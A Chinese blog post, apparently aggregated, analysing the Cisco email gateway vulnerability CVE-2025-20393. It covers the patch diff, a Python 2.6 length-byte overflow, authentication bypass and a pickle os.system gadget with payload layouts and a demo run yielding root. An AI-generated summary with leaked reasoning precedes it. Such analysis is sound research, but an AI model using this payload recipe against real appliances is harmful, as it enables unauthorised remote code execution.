Pickling the Mailbox: A Deep Dive into CVE-2025-20393
嗯,用户让我总结一篇关于CVE-2025-20393漏洞的文章,控制在100字以内。首先,我需要快速浏览文章内容,抓住关键点。 文章主要讲的是Cisco Secure Email Gateway和Secure Email and Web Manager中的一个严重漏洞,CVSS评分10.0。漏洞成因是EUQ服务的RPC协议在打包destination长度时用了单字节的struct.pack,而Python 2.6对超出范围的值会静默截断。攻击者发送256字节的payload时,长度字段溢出为0,导致认证绕过,并通过cPickle.loads实现未授权RCE。 接下来,我需要将这些关键点浓缩到100字以内。要包括漏洞名称、影响产品、成因、攻击方式和利用结果。 可能的结构:漏洞名称、CVSS评分、影响产品、成因(struct.pack和Python 2.6)、攻击方式(发送特定payload)、结果(认证绕过和RCE)。 确保语言简洁明了,不使用复杂的术语,同时涵盖所有重要信息。 </think> CVE-2025-20393是Cisco Secure Email Gateway和Secure Email and Web Manager中的严重漏洞(CVSS 10.0),源于EUQ服务RPC协议中destination长度字段使用单字节struct.pack且Python 2.6静默截断溢出值。攻击者通过发送256字节payload使长度字段溢出为0,绕过认证并通过cPickle.loads实现未授权远程代码执行。 2026-2-7 04:0:0 Author: bestwing.me(查看原文) 阅读量:25 收藏

TL;DR

CVE-2025-20393 是 Cisco Secure Email Gateway 和 Secure Email and Web Manager 中的一个严重漏洞(CVSS 10.0)。漏洞成因是 EUQ(End User Quarantine)服务的 RPC 协议在打包 destination 长度时使用了单字节 struct.pack('>B', ...),而 Python 2.6 对超出范围的值会静默截断而非抛出异常。当攻击者发送 256 字节的 payload 时,长度字段溢出为 0,导致认证绕过,最终通过 cPickle.loads() 实现未授权 RCE。

0x00 漏洞背景

2025年12月17日,Cisco 发布安全公告 cisco-sa-sma-attack-N9bf4,修复了一个 CVSS 10.0 的严重漏洞:

字段 值
Advisory ID cisco-sa-sma-attack-N9bf4
CVE CVE-2025-20393
CVSS 3.1 10.0 (Critical)
CWE CWE-20 (Improper Input Validation)
受影响产品 Cisco Secure Email Gateway (SEG), Secure Email and Web Manager (SMA)
Bug IDs CSCws36549, CSCws52505
Workarounds 无

我们获取了 AsyncOS 15.5.3 固件,通过逆向工程和代码分析

0x01 补丁分析

当补丁版本发布后,我们提取并对比了两个版本的固件。EUQ(End User Quarantine)服务引起了我们的注意——它暴露在 83 端口且大量使用 Python。

对比 AsyncOS 15.5.3(漏洞版本)与补丁版本的 CommandMessage.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ diff AsyncOS_15_5_3/site-packages/zeus/CommandMessage.py \
AsyncOS_patched/site-packages/zeus/CommandMessage.py

30a26,47
> if destination is not None:
> if len(destination) >= 255:
> debug_str = 'DEBUG:send_message:Invalid destination len:%r ...'
> coro.print_stderr(debug_str)
> raise Commandment.MessageFormatError()
> if source is not None:
> if len(source) >= 255:
> debug_str = 'DEBUG:send_message:Invalid source len:%r ...'
> coro.print_stderr(debug_str)
> raise Commandment.MessageFormatError()

补丁对 destination 和 source 增加了 >= 255 的长度限制。超过则抛出 MessageFormatError。

关键问题

猫哥在看到这个 diff 时敏锐的觉得这应该是一个有用的Patch:

“为什么是 255?如果发送 256 字节会怎样?”

0x02 Python 2.6 的 struct.pack 行为

查看反编译后的文件头:

1
2


AsyncOS 使用 Python 2.6 运行时——一个 2008 年发布、2013 年已 EOL 的版本。这至关重要,因为 Python 2.6 与 Python 3 在处理 struct.pack 溢出时行为完全不同。

Python 3.x(严格模式):

1
2
3
4
5
>>> import struct
>>> struct.pack('>B', 256)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
struct.error: 'B' format requires 0 <= number <= 255

Python 3 在值超出范围时抛出异常。

Python 2.6(静默截断):

1
2
3
4
5
6
7
>>> import struct
>>> struct.pack('>B', 256)
'\x00'
>>> struct.pack('>B', 289)
'!'
>>> ord('!')
33

Python 2.6 对超出范围的值执行模运算:

1
2
3
256 % 256 = 0   → '\x00'
289 % 256 = 33 → '!' (0x21)
512 % 256 = 0 → '\x00'

这就是整数溢出。在 Python 2.6 中,struct.pack('>B', 256) 不会失败——它返回 0x00。

为何重要

RPC 消息打包代码使用:

1
dst_len = struct.pack('>B', len(destination))

当 len(destination) = 256 时:

  • Python 3:抛出异常,攻击失败
  • Python 2.6:dst_len = '\x00',攻击成功

Cisco 古老的 Python 2.6 运行时将一个潜在的崩溃转变为可利用的溢出。

0x03 EUQ RPC 协议分析

EUQ 服务架构

EUQ 允许邮件接收者通过 83 端口的 Web 界面管理隔离邮件:

1
2
3
4
5
6
7
8
┌─────────────┐      HTTPS/83      ┌─────────────┐      RPC       ┌─────────────┐
│ End User │ ◄───────────────► │ EUQ Web │ ◄────────────► │ EUQ Backend│
│ Browser │ │ Frontend │ │ (Python) │
└─────────────┘ └─────────────┘ └─────────────┘
│
▼
/Search endpoint
?auth=...&serial=...

消息头定义

Commandment.py 定义了 RPC 消息头格式:

1
2
3

HEADER = '>BBIIBB32s'
HEADER_LENGTH = struct.calcsize(HEADER)

格式解析:

格式 类型 大小 字段
> Big-endian - 字节序修饰符
B unsigned char 1 byte version
B unsigned char 1 byte ttl
I unsigned int 4 bytes message_length
I unsigned int 4 bytes message_type
B unsigned char 1 byte source_length
B unsigned char 1 byte destination_length
32s char[32] 32 bytes txn_tag

总 header 大小:1+1+4+4+1+1+32 = 44 字节

漏洞点在于 source_length 和 destination_length——均定义为单字节无符号字符(B),范围限制为 0-255。

消息构造:send_message()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def send_message(write_method, message_type, source, destination='',
message='', ttl=0, timeout=0, tag=None):
header = struct.pack(
Commandment.HEADER,
Commandment.MESSAGE_VERSION,
ttl,
len(message),
message_type,
len(source),
len(destination),
_message_tag(tag)
)
packet = header + source + destination + message
write_method(packet)

关键观察:当 len(destination) 超过 255 时,Python 2.6 的 struct.pack 使用格式 'B' 会静默截断该值。

消息解析:read_message()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

def read_message(read_method, timeout=0):

header = _read(read_method, Commandment.HEADER_LENGTH, timeout)

try:

(version, ttl, message_length, message_type,
source_length, destination_length, txn_tag) = struct.unpack(
Commandment.HEADER, header)
except struct.error:
raise Commandment.MessageFormatError()


if version != Commandment.MESSAGE_VERSION:
raise Commandment.MessageVersionError(version, Commandment.MESSAGE_VERSION)


source = _read(read_method, source_length, timeout)


if destination_length:
destination = _read(read_method, destination_length, timeout)
else:
destination = ''


message = _read(read_method, message_length, timeout)

return (txn_tag.rstrip('\x00'), ttl, message_type, source, destination, message)

关键漏洞路径 [A] 和 [B]:

  • 当 destination_length = 0(由于溢出),代码进入 else 分支
  • destination 被设为空字符串 ''
  • 空 destination 不会触发认证验证
  • 攻击者控制的 message 载荷直接进入 cPickle.loads()

完整消息结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
  +--------------------------- HEADER (44 bytes) ---------------------------+
| |
| +---------+---------+--------------+--------------+----------+---------+--------+
| | version | ttl | message_len | message_type |source_len| dest_len|txn_tag |
| | (1B) | (1B) | (4B) | (4B) | (1B) | (1B) | (32B) |
| | 'B' | 'B' | 'I' | 'I' | 'B' | 'B' | '32s' |
| +---------+---------+--------------+--------------+----------+---------+--------+
| |
+--------------------------------------------------------------------------+
|
v
+--------------------------- BODY (variable) -----------------------------+
| |
| +--------------------+---------------------+----------------------------+
| | source | destination | message |
| | (source_len bytes) | (dest_len bytes) | (message_len bytes) |
| | | | -> cPickle.loads() |
| +--------------------+---------------------+----------------------------+
| |
+--------------------------------------------------------------------------+

0x04 漏洞分析

溢出链

追踪发送 256 字节 destination 时的执行流程:

步骤 1:消息打包(发送端)

1
2
3
4
5
6
7

destination = attacker_controlled_256_bytes
header = struct.pack('>BBIIBB32s',
...,
len(destination),
...
)

步骤 2:消息解析(接收端)

1
2
3
4
5
6
7
8
9
10
11
12
13

(version, ttl, message_length, message_type,
source_length, destination_length, txn_tag) = struct.unpack('>BBIIBB32s', header)



if destination_length:
destination = _read(read_method, destination_length, timeout)
else:
destination = ''

message = _read(read_method, message_length, timeout)
return (..., destination, message)

步骤 3:通过 Pickle 实现 RCE

1
2

result = cPickle.loads(message)

代码流程图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
                    攻击者发送 256 字节的 serial 参数
│
▼
┌─────────────────────────────────────────────────────────────────────────────┐
│ send_message() @ CommandMessage.py │
│ │
│ destination = attacker_payload (256 bytes) │
│ │ │
│ ▼ │
│ struct.pack('>BBIIBB32s', ..., len(destination), ...) │
│ struct.pack(..., 256, ...) │
│ │ │
│ ▼ │
│ Python 2.6: 256 % 256 = 0 → '\x00' ← 整数溢出 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
│
│ 网络传输
▼
┌─────────────────────────────────────────────────────────────────────────────┐
│ read_message() @ CommandMessage.py │
│ │
│ header = _read(read_method, 44, timeout) │
│ (..., dest_len, ...) = struct.unpack('>BBIIBB32s', header) │
│ │ │
│ ▼ │
│ dest_len = 0 ← 来自溢出 │
│ │ │
│ ▼ │
│ if dest_len: # False! │
│ destination = _read(read_method, dest_len, timeout) │
│ else: │
│ destination = '' ← 空字符串,认证被绕过 │
│ │ │
│ ▼ │
│ message = _read(read_method, message_len, timeout) │
│ return (..., destination, message) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────────┐
│ RPC Handler │
│ │
│ (_, _, _, _, destination, message) = read_message(...) │
│ │ │
│ ▼ │
│ # destination = ''(空)- 验证被跳过或通过 │
│ │ │
│ ▼ │
│ result = cPickle.loads(message) ← 攻击者控制的 PICKLE │
│ │ │
│ ▼ │
│ os.system('attacker_command') ← RCE 达成 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘

为何 Pickle 是危险的

对不可信输入使用 cPickle.loads() 是灾难性的:

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import os

class Exploit:
def __reduce__(self):
return (os.system, ('id',))


payload = pickle.dumps(Exploit())


pickle.loads(payload)

__reduce__ 方法告诉 pickle 如何重建对象——而这个”重建”可以是任意代码执行。

0x05 利用策略:认证绕过深度分析

认证问题

正常操作中,EUQ RPC 协议使用 destination 字段进行认证。服务器验证传入消息是否发往自己的序列号:

1
2
3
4
5
6
7
8
9
10

def handle_rpc_message(message_data):
(_, _, _, source, destination, message) = read_message(...)


if destination != MY_SERIAL_NUMBER:
raise AuthenticationError("Message not for this server")


result = cPickle.loads(message)

挑战:要利用 pickle 反序列化,我们需要通过认证检查。但如何知道目标服务器的序列号?

两种利用方式对比

方式 前提条件 溢出值 使用场景
序列号匹配 需知道目标序列号 dst_len = serial_len 序列号已泄露时
零长度绕过 无 dst_len = 0 通用,无前提条件

方式 1:序列号匹配

1
2
3
4
5
Serial: "564D3D47E3BCFBA26307-2EC835E2635A" (33 bytes)
Payload 长度: 256 + 33 = 289 bytes
溢出: 289 % 256 = 33 ✓

服务器读取 33 字节作为 destination → 匹配序列号 → 认证通过

Payload 布局:

1
2
3
4
5
6
7
8
9
┌────────────────────────┬────────────────────┬─────────────────┐
│ Server Serial │ Pickle Payload │ Padding │
│ (33 bytes) │ (72 bytes) │ (184 bytes) │
└────────────────────────┴────────────────────┴─────────────────┘
Total: 289 bytes → 289 % 256 = 33

│ │
▼ ▼
通过认证检查 cPickle.loads() → RCE

方式 2:零长度绕过(无前提条件)

Jiantao 的关键洞察是认识到 dst_len = 0 会创建一个特殊情况。再次审视 read_message() 代码:

1
2
3
4
5
6
7
8
9
10
11

def read_message(read_method, timeout=0):



if destination_length:
destination = _read(read_method, destination_length, timeout)
else:
destination = ''


当 destination_length = 0 时:

  1. [1] 处的 if destination_length: 检查求值为 False(0 是假值)
  2. 代码进入 [2] 处的 else 分支
  3. destination 被设为空字符串 ''
  4. 不从网络读取任何字节作为 destination

空 Destination 为何能绕过认证

通过分析,我们确定当 destination 为空时,认证检查存在以下行为之一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

if destination:
if destination != MY_SERIAL_NUMBER:
raise AuthenticationError(...)



if destination == '' or destination == MY_SERIAL_NUMBER:

process_message(...)


try:
validate_destination(destination)
except:
pass

无论哪种情况,空 destination 都允许消息到达 cPickle.loads()。

两种方式对比

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌─────────────────────────────────────────────────────────────────────────────┐
│ 序列号匹配方式 │
├─────────────────────────────────────────────────────────────────────────────┤
│ Payload: [SERIAL (33B)] [PICKLE (72B)] [PADDING (184B)] = 289 bytes │
│ │
│ 溢出: 289 % 256 = 33 │
│ │
│ 服务器读取: │
│ dst_len = 33 │
│ destination = payload[0:33] = "564D3D47E3BCFBA26307-2EC835E2635A" │
│ 认证检查: destination == MY_SERIAL → 通过 ✓ │
│ message = payload[33:105] = pickle_gadget │
│ cPickle.loads(message) → RCE │
│ │
│ 要求: 必须知道服务器的序列号 │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 零长度绕过方式 ✓ │
├─────────────────────────────────────────────────────────────────────────────┤
│ Payload: [PICKLE (72B)] [PADDING (184B)] = 256 bytes │
│ │
│ 溢出: 256 % 256 = 0 │
│ │
│ 服务器读取: │
│ dst_len = 0 │
│ if dst_len: ... else: destination = '' ← 空字符串 │
│ 认证检查: destination == '' → 绕过! ✓ │
│ message = payload[0:72] = pickle_gadget │
│ cPickle.loads(message) → RCE │
│ │
│ 要求: 无 - 对任何目标都有效 │
└─────────────────────────────────────────────────────────────────────────────┘

我们选择零长度绕过方式,因为它无需任何目标信息即可实现通用利用。

0x06 利用演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ python3 exploit.py 192.168.2.10 'id > /tmp/pwned'

======================================================================
CVE-2025-20393 - Cisco Secure Email Gateway RCE
Advisory: cisco-sa-sma-attack-N9bf4
======================================================================

[*] Target: https://192.168.2.10:83
[*] Command: id > /tmp/pwned

[*] Exploit Details:
├─ Python 2.6 struct.pack('>B', 256) = 0x00 (truncated)
├─ Pickle gadget: 72 bytes
├─ Padding: 184 bytes
├─ Total payload: 256 bytes
└─ Overflow: 256 % 256 = 0

[*] URL length: 891 bytes

[*] Sending exploit...
[+] Read timeout - likely successful!
(Server busy executing pickle payload)

[*] Verify:
$ ssh [email protected] 'cat /tmp/pwned'

验证:

1
2
$ ssh [email protected] 'cat /tmp/pwned'
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)

0x07 总结

CVE-2025-20393 展示了技术债务的复合危害:

  1. Python 2.6 — 一个 17 年前的运行时,带有不安全的默认行为
  2. 单字节长度字段 — 过早优化创造了溢出条件
  3. Pickle 反序列化 — 方便但等同于对不可信输入执行 eval()
  4. 缺失验证 — 补丁揭示了本应从一开始就存在的校验

References


文章来源: https://bestwing.me/pickling-the-mailbox-cve-2025-20393-cn.html
如有侵权请联系:admin#unsafe.sh